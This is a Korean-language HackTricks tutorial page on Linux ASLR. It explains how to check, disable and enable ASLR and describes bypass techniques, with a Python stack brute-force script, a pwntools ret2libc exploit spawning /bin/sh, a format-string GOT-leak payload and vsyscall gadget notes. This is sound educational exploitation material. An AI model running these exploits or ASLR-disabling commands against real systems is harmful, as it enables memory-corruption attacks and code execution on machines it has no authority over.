ASLR

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

기본 정보

**주소 공간 레이아웃 무작위화 (ASLR)**는 운영 체제에서 사용되는 보안 기술로, 시스템 및 응용 프로그램 프로세스에서 사용하는 메모리 주소를 무작위로 설정합니다. 이렇게 함으로써 특정 프로세스 및 데이터의 위치를 예측하는 것이 상당히 어려워져 공격자가 스택, 힙, 라이브러리 등을 예측하는 것을 방지하여 특정 유형의 공격, 특히 버퍼 오버플로우를 완화합니다.

ASLR 상태 확인

Linux 시스템에서 ASLR 상태를 확인하려면 /proc/sys/kernel/randomize_va_space 파일에서 값을 읽을 수 있습니다. 이 파일에 저장된 값은 적용되는 ASLR 유형을 결정합니다:

  • 0: 무작위화 없음. 모든 것이 정적입니다.

  • 1: 보수적인 무작위화. 공유 라이브러리, 스택, mmap(), VDSO 페이지가 무작위화됩니다.

  • 2: 완전한 무작위화. 보수적인 무작위화에 의해 무작위화되는 요소에 추가하여 brk()를 통해 관리되는 메모리가 무작위화됩니다.

다음 명령어로 ASLR 상태를 확인할 수 있습니다:

cat /proc/sys/kernel/randomize_va_space

ASLR 비활성화

ASLR를 비활성화하려면 /proc/sys/kernel/randomize_va_space의 값을 0으로 설정합니다. ASLR를 비활성화하는 것은 일반적으로 테스트 또는 디버깅 시나리오 이외에는 권장되지 않습니다. 다음은 비활성화하는 방법입니다:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

ASLR를 실행 중에 비활성화할 수도 있습니다:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

ASLR 활성화

ASLR를 활성화하려면 /proc/sys/kernel/randomize_va_space 파일에 2 값을 쓸 수 있습니다. 일반적으로 루트 권한이 필요합니다. 전체 무작위화를 활성화하려면 다음 명령을 사용할 수 있습니다:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

부팅 간 지속성

echo 명령어로 만든 변경 사항은 일시적이며 재부팅시 초기화됩니다. 변경 사항을 지속적으로 유지하려면 /etc/sysctl.conf 파일을 편집하여 다음 줄을 추가하거나 수정해야 합니다:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

/etc/sysctl.conf을 편집한 후 다음을 사용하여 변경 사항을 적용하십시오:

sudo sysctl -p

이렇게 하면 ASLR 설정이 다시 부팅되어도 유지됩니다.

우회 방법

32비트 무차별 대입

PaX는 프로세스 주소 공간을 3 그룹으로 나눕니다:

  • 코드와 데이터 (초기화된 및 초기화되지 않은): .text, .data, 및 .bss —> delta_exec 변수에서 16비트의 엔트로피. 이 변수는 각 프로세스마다 무작위로 초기화되며 초기 주소에 추가됩니다.

  • mmap()에 의해 할당된 메모리공유 라이브러리 —> delta_mmap이라고 불리는 16비트.

  • 스택 —> delta_stack이라고 불리는 24비트. 그러나 실제로 11비트를 사용합니다 (10번째부터 20번째 바이트까지 포함), 16바이트에 정렬됨 —> 이로 인해 524,288개의 가능한 실제 스택 주소가 발생합니다.

이전 데이터는 32비트 시스템을 위한 것이며 최종 엔트로피 감소로 인해 공격자가 공격이 성공적으로 완료될 때까지 실행을 다시 시도하여 ASLR을 우회할 수 있습니다.

무차별 대입 아이디어:

  • 쉘코드 앞에 큰 NOP 슬레드를 호스팅할만큼 충분한 오버플로우가 있다면, 스택 주소를 무차별 대입하여 흐름이 NOP 슬레드의 일부를 건너뛰도록 할 수 있습니다.

  • 오버플로우가 그리 크지 않고 공격을 로컬에서 실행할 수 있는 경우, 환경 변수에 NOP 슬레드와 쉘코드를 추가할 수 있습니다.

  • 공격이 로컬인 경우, libc의 베이스 주소를 무차별 대입해 볼 수 있습니다 (32비트 시스템에 유용함):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • 원격 서버를 공격할 때 libc 함수 usleep의 주소를 **무차별 대입(brute-force)**하여 인자로 10을 전달할 수 있습니다. 어느 시점에서 서버가 응답하는 데 10초 더 걸린다면, 이 함수의 주소를 찾은 것입니다.

64비트 시스템에서 엔트로피가 훨씬 높아서 이는 불가능해야 합니다.

64비트 스택 무차별 대입

환경 변수로 스택의 큰 부분을 점유한 다음 이를 남용하여 이진 파일을 수백 번/수천 번 실행하여 로컬에서 악용할 수 있습니다. 다음 코드는 스택에서 주소를 선택하고 몇 백 번 실행할 때마다 해당 주소에 NOP 명령어가 포함될 수 있는 방법을 보여줍니다:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

로컬 정보 (/proc/[pid]/stat)

프로세스의 /proc/[pid]/stat 파일은 항상 모든 사람이 읽을 수 있으며 흥미로운 정보를 포함하고 있습니다:

  • startcodeendcode: 이진 파일의 TEXT와 관련된 위쪽 및 아래쪽 주소

  • startstack: 스택의 시작 주소

  • start_dataend_data: BSS가 있는 위쪽 및 아래쪽 주소

  • kstkespkstkeip: 현재 ESPEIP 주소

  • arg_startarg_end: cli arguments가 있는 위쪽 및 아래쪽 주소

  • env_startenv_end: 환경 변수가 있는 위쪽 및 아래쪽 주소

따라서, 공격자가 이진 파일이 있는 컴퓨터와 동일한 위치에 있고, 해당 이진 파일이 원시 인수에서 오버플로우를 기대하지 않지만 이 파일을 읽은 후 크래프트할 수 있는 다른 입력에서 오버플로우를 기대한다면 이 파일에서 일부 주소를 얻어 해당 주소로부터 오프셋을 구성할 수 있습니다.

이 파일에 대한 자세한 정보는 https://man7.org/linux/man-pages/man5/proc.5.html에서 /proc/pid/stat을 검색하여 확인하세요.

Leak이 있는 경우

  • 도전 과제는 leak을 제공하는 것입니다

Leak이 주어진 경우 (쉬운 CTF 도전 과제), 해당 leak에서 오프셋을 계산할 수 있습니다 (예를 들어, 공격하는 시스템에서 사용되는 정확한 libc 버전을 알고 있다고 가정). 이 예제 exploit은 여기의 예제에서 추출되었습니다 (자세한 내용은 해당 페이지를 확인하세요).

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

버퍼 오버플로우를 악용하여 ret2plt를 이용하여 libc에서 함수의 주소를 유출할 수 있습니다. 확인하세요:

  • 포맷 문자열 임의 읽기

ret2plt와 마찬가지로 포맷 문자열 취약점을 통해 임의 읽기가 가능하면 libc 함수의 주소를 GOT에서 유출할 수 있습니다. 다음은 여기서의 예시입니다:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

다음 위치에서 Format Strings 임의 읽기에 대한 자세한 정보를 찾을 수 있습니다:

Ret2ret & Ret2pop

스택 내부 주소를 악용하여 ASLR을 우회하려고 시도하십시오:

vsyscall

vsyscall 메커니즘은 일부 시스템 호출을 사용자 공간에서 실행하여 성능을 향상시키는 데 사용됩니다. 이러한 시스템 호출은 기본적으로 커널의 일부이지만 vsyscalls의 주요 장점은 고정 주소에 있습니다. 이러한 고정된 특성으로 인해 공격자는 주소를 확인하고 악용에 사용하기 위해 정보 누출 취약점이 필요하지 않습니다. 그러나 여기에는 특별히 흥미로운 가젯이 없을 것입니다 (예를 들어 ret;과 같은 것을 얻을 수는 있습니다)

(다음 예제 및 코드는 이 문서에서 가져왔습니다)

예를 들어, 공격자는 악용 내에서 주소 0xffffffffff600800를 사용할 수 있습니다. ret 명령으로 직접 이동을 시도하면 몇 가지 가젯을 실행한 후 불안정성이나 충돌로 이어질 수 있지만, vsyscall 섹션에서 제공되는 syscall의 시작으로 이동하는 것은 성공할 수 있습니다. 공격자가 실행을 vsyscall 주소로 이끄는 ROP 가젯을 신중하게 배치함으로써, 이 악용 부분의 ASLR 우회 없이 코드 실행을 달성할 수 있습니다.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

따라서 커널이 CONFIG_COMPAT_VDSO로 컴파일된 경우 vdso 주소가 무작위화되지 않으므로 vdso를 악용하여 ASLR을 우회할 수 있습니다. 자세한 정보는 확인하세요:

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Last updated